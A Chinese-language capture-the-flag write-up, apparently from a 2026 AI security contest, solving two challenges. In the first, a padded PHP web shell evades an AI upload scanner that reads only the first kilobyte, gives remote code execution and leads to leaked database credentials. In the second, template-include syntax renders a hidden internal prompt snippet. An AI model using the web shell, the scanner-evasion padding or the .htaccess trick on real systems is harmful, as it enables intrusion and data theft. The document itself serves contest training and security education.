printf&nbsp;'#%.0s'&nbsp;{1..1025} > s.php.txt
echo&nbsp;'<?php system($_GET["cmd"]); ?>'&nbsp;>> s.php.txt
curl -X POST -F&nbsp;"[email protected]"&nbsp;http://TARGET/upload.php

三层检测均通过:

  • 扩展名 .txt 在白名单
  • 1025 字节 ASCII 字符 # 使 MIME 识别为 text/plain
  • <?php 和 system 关键词在 1024 字节之后,AI 未扫描到

RCE 验证

curl&nbsp;"http://TARGET/uploads/s.php.txt?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

后渗透枚举

curl&nbsp;"http://TARGET/uploads/s.php.txt?cmd=find%20/var/www/html%20-maxdepth%204%20-type%20f"

发现 /var/www/html/uploads/ 下存在隐藏目录 admin/

/var/www/html/uploads/admin/analysis_report.pdf
/var/www/html/uploads/admin/db_backup.conf
/var/www/html/uploads/admin/upload_logs/.hash_record
/var/www/html/uploads/admin/upload_logs/access.log
/var/www/html/uploads/admin/upload_logs/access.log.backup

db_backup.conf

[integrity]
# Log integrity verification enabled
# Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
# Backup location: uploads/admin/upload_logs/access.log.backup
# Backup encryption: XOR with db_password
# Current hash verification: sha256sum uploads/admin/upload_logs/access.log

[database]
host = 172.16.0.50
port = 3306
database = ai_doc_system
username = doc_admin
password = AIDoc#2024Secure

关键信息:

  • access.log.backup 使用数据库密码 XOR 加密
  • 原始 SHA256 hash 用于解密后完整性校验
  • 数据库密码 AIDoc#2024Secure 即为 XOR 密钥
  • 内网数据库地址 172.16.0.50:3306

.hash_record

d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07

与 db_backup.conf 中记录的原始 hash 一致,用于交叉验证。

解密日志备份

from&nbsp;pathlib&nbsp;import&nbsp;Path
import&nbsp;hashlib

cipher = Path("access.log.backup").read_bytes()
key =&nbsp;b"AIDoc#2024Secure"

plain = bytes(b ^ key[i % len(key)]&nbsp;for&nbsp;i, b&nbsp;in&nbsp;enumerate(cipher))

# 完整性校验
assert&nbsp;hashlib.sha256(plain).hexdigest() == \
&nbsp; &nbsp;&nbsp;"d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07"

print(plain.decode())

Hash 校验通过后输出解密日志(JSONL 格式):

{"time":"2024-10-10 15:14:51","ip":"203.0.113.88","action":"shell_exec","command":"cat /opt/secrets/operation_darknet.txt","log_id":"LOG-20241010-88239","severity":"critical"}
{"time":"2024-10-10 15:15:22","ip":"203.0.113.88","action":"file_steal","file":"operation_darknet.txt","size":4521,"log_id":"LOG-20241010-88240","severity":"critical"}

日志记录攻击者两次操作:

  1. LOG-20241010-88239 — 执行 cat /opt/secrets/operation_darknet.txt 读取机密文件(shell_exec
  2. LOG-20241010-88240 — 将文件外传(file_steal),大小 4521 字节

证据提取

| 字段 | 值 | 提取来源 | | — | — | — | | Attacker IP | 203.0.113.88 | 日志 ip 字段 | | Key Log ID | LOG-20241010-88239 | shell_exec 执行窃取命令的日志 ID | | Confidential File | operation_darknet.txt | 日志 file 字段 + command 路径 |

submit.php 仅验证一个 Key Log ID。两条日志中 LOG-20241010-88239(实际执行 shell 命令窃取文件的记录)通过验证。

flag{1jsm8ue6sfmin21udk4j7jq5tgs5iibl}

攻击链

端点枚举(7个) → 上传测试确认3层防护 → 源码审计发现 .htaccess 白名单 + AI 1KB限制
&nbsp; &nbsp; → upload .htaccess (AddType .txt→PHP)
&nbsp; &nbsp; → upload padded shell (1025B&nbsp;'#'&nbsp;bypass AI) → RCE (www-data)
&nbsp; &nbsp; → find 枚举 /uploads/admin/ 隐藏目录
&nbsp; &nbsp; → db_backup.conf 泄露 XOR 密钥 AIDoc#2024Secure&nbsp;+ SHA256 预期值
&nbsp; &nbsp; → XOR 解密 access.log.backup +&nbsp;hash&nbsp;完整性校验
&nbsp; &nbsp; → 提取 203.0.113.88 / LOG-20241010-88239 / operation_darknet.txt
&nbsp; &nbsp; → submit.php → flag

Prompt Vault

題目描述

Preview customer reply templates and find the dynamic flag hidden in an internal snippet.
預覽客服回覆模板,找出隱藏於內部片段中的動態 flag。
预览客服回复模板,找出隐藏在内部片段中的动态 flag。

题目信息

服务地址:

http://36.213.142.162:27379

题目提示:

预览客服回复模板,找出隐藏在内部片段中的动态 flag。

从描述可以判断,目标是一个客服回复模板预览系统,flag 不在普通页面源码中,而是藏在某个内部模板片段里。核心思路是先找到内部片段名称,再通过预览功能渲染它。

页面分析

访问首页:

curl -s http://36.213.142.162:27379/

页面标题为 ReplyKit,是一个回复草稿预览工具。前端 JavaScript 中可以看到两个接口:

GET &nbsp;/api/promptlets
POST /api/preview

其中 /api/promptlets 用来获取可选的模板片段,/api/preview 用来渲染用户提交的草稿。

前端插入模板片段时使用的语法如下:

{{ include_prompt("name") }}

这说明只要知道片段名,就可以手动构造模板语法并提交给预览接口。

枚举公开片段

请求公开片段列表:

curl -s http://36.213.142.162:27379/api/promptlets

返回:

{
&nbsp;&nbsp;"promptlets": [
&nbsp; &nbsp;&nbsp;"greeting",
&nbsp; &nbsp;&nbsp;"help",
&nbsp; &nbsp;&nbsp;"terms",
&nbsp; &nbsp;&nbsp;"contact"
&nbsp; ],
&nbsp;&nbsp;"success":&nbsp;true
}

公开片段只有四个:

greeting
help
terms
contact

尝试渲染公开片段:

curl -s -X POST http://36.213.142.162:27379/api/preview \
&nbsp; -H&nbsp;'Content-Type: application/json'&nbsp;\
&nbsp; -d&nbsp;'{"user_input":"{{ include_prompt(\"greeting\") }}"}'

返回的是普通客服文案,没有 flag。因此题目中提到的内部片段没有出现在公开列表中。

发现隐藏接口

继续尝试常见 API 路径,发现 /api/help

curl -s http://36.213.142.162:27379/api/help

返回:

{
&nbsp;&nbsp;"about":&nbsp;"ReplyKit previews CX reply drafts. Public snippets in /api/promptlets. Refund/SLA/compliance drafts use the internal review_gate snippet.",
&nbsp;&nbsp;"ok":&nbsp;true,
&nbsp;&nbsp;"syntax":&nbsp;"{{ include_prompt(\"name\") }}"
}

这里泄露了内部片段名:

review_gate

虽然该片段没有出现在 /api/promptlets 中,但接口说明里直接提到了它。

渲染内部片段

既然已经知道内部片段名,就可以直接构造模板语法:

{{ include_prompt("review_gate") }}

提交给预览接口:

curl -s -X POST http://36.213.142.162:27379/api/preview \
&nbsp; -H&nbsp;'Content-Type: application/json'&nbsp;\
&nbsp; -d&nbsp;'{"user_input":"{{ include_prompt(\"review_gate\") }}"}'

返回:

{
&nbsp;&nbsp;"final_preview":&nbsp;"[Preview]\n[INTERNAL USE ONLY]\nCompliance checkpoint\nAuth code: flag{1jsm9bdc49nc031udk4j7jq5tis5iibn}\nRequires supervisor approval.\n---\n[/Preview]",
&nbsp;&nbsp;"success":&nbsp;true
}

内部片段被成功渲染,flag 出现在 final_preview 中。

一行命令提取 Flag

curl -s -X POST http://36.213.142.162:27379/api/preview \
&nbsp; -H&nbsp;'Content-Type: application/json'&nbsp;\
&nbsp; -d&nbsp;'{"user_input":"{{ include_prompt(\"review_gate\") }}"}'&nbsp;\
&nbsp; | grep -o&nbsp;'flag{[^}]*}'

Flag

flag{1jsm9bdc49nc031udk4j7jq5tis5iibn}

Chamber

PoiChain

本次 AI 网络安全挑战赛由 AI CLI(https://aicli.qzz.io/)提供模型 API 支持。作为我们团队参赛的核心基础设施,该平台的稳定服务与模型能力提供了坚实保障,特此鸣谢。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《AI x Cybersecurity Challenge 2026 初赛 Writeup》

评论:0   参与:  0